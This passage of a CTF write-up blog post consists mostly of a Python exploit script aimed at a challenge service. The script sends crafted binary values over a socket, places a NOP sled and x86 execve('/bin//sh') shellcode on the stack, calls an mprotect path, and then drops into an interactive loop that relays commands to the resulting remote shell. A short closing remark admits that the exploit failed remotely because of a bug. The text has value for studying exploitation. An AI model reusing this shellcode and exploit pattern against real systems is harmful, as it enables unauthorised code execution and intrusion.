        s.send(struct.pack("<I", func))
        s.send(struct.pack("<I", a - b))
    
    # 0xF case
    def last_case(counter, diff, nb_loop, last, cmd):
        s.send(struct.pack("<I", counter))
        s.send(struct.pack("<I", nb_loop))
        s.send(struct.pack("<I", 0x00000000))
        s.send(struct.pack("<I", last))
        s.send(struct.pack("<I", 0x00000001))
        s.send(struct.pack("<I", 0x00000000))
        s.send(cmd)
    
    # 0x9 case
    def mprotect_case():
        a = 0x30
        b = 0x20
        diff = a - b
        first_check(counter, a, b)
        start_second_check(a, b, 0x9)
        s.send(struct.pack("<I", 0))
        cmd = "A" * diff
        s.send(cmd)
        s.recv(0x50)
        d = s.recv(0x10)
        if len(d) > 4:
            error = struct.unpack("<I", d[-4:])[0]
            print "Return : ", hex(error)
            if error == 0x82828282:
                print "mprotect() failed"
    
    # 0x3 case
    def chdir_case():
        a = 0x30
        b = 0x20
        diff = a - b
        first_check(counter, a, b)
        start_second_check(a, b, 0x3)
        s.send(struct.pack("<I", 0))
        s.send("/tmp" + "\x00" + "A" * (diff - 5))
    
    counter = 0
    a = 0x30
    b = 0x20
    diff = a - b
    
    loop = int(sys.argv[1])
    
    raw_input()
    
    for x in xrange(loop):
        print "X = ", x
        try:
            first_check(x, a, b)
            start_second_check(a, b, 0xF)
            last_case(counter, diff, 1, 0, "A" * diff)
            counter = counter + 1
        except :
            print s.recv(0x50)
            d = s.recv(0x10)
            if len(d) > 4:
                error = struct.unpack("<I", d[-4:])[0]
                print "Error : ", error
                print s.recv(1024)
            else:
                print d
            exit(0)
    
    shellcode = "\x90" * 40 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 40
    a = 0x1000
    b = 0x20
    diff = a - b
    length = diff - (len(shellcode) * 10)
    cmd = "\x90" * length + shellcode  * 10
    first_check(x, a, b)
    start_second_check(a, b, 0xF)
    # put the shellcode by using the read on the stack instead of malloc
    last_case(counter, diff, 1, 1, cmd)
    counter = counter + 1
    
    
    a = 0x30
    b = 0x20
    diff = a - b
    first_check(x, a, b)
    start_second_check(a, b, 0xF)
    last_case(counter, diff, 3, 0, "A" * diff)
    
    mprotect_case()
    
    chdir_case()
    
    while True:
        print ">",
        cmd = raw_input()
        if not cmd:
            break
        s.send(cmd + "\n")
        sys.stdout.write(s.recv(65536))
    

    Unfortunately, I wasn't able to exploit this on the remote service, because I had an error in my python script. It wasn't checking the mprotect return value correctly, and I only figured this out after the end of the CTF.

    Tweet
    Permalink & comments

© LSE 2012 — Main website — RSS Feed